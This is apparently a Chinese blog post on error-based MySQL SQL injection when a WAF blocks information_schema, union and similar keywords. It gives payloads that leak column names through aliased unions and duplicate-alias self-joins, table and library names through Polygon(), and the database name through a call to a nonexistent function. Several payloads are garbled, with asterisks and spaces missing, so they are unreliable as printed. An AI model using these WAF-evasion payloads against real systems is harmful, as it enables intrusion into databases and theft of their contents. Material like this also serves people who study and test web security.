mysql注入可报错时爆表名、字段名、库名
已知某个地方有注入,waf拦截了information_schema、columns、tables、database、schema等关键字或函数,我们如何去获取当前表名,字段名和库名呢?
字段名
常见的做法有利用union搭配别名子查询,在不知道字段的时候进行注入。
例如:
1
select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
但是如果再进行限制,不允许使用union 该怎么破呢?
今天在翻阅Orange大大的博客,发现在11年hitcon中,有一个应用点类似下面:
1
select name from test where id=1`and(select from (select from test as` `a join testasb) `as c);
可以看到mysql返回一个报错如下:
把当前表第一个字段成功爆出来了。
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段
1
select name from test where id=1`and(select from (select from test as` `a join testasb using(id)) `as c);
表名
=====
翻阅mysql的文档发现了一个非常好玩的函数
Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
库名
上面的方法已经可以爆出库名了,但是如果我无限限制payload长度又如何? 比如 四字节?
select * from users where uid =1-a();
库名成功出来了,原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。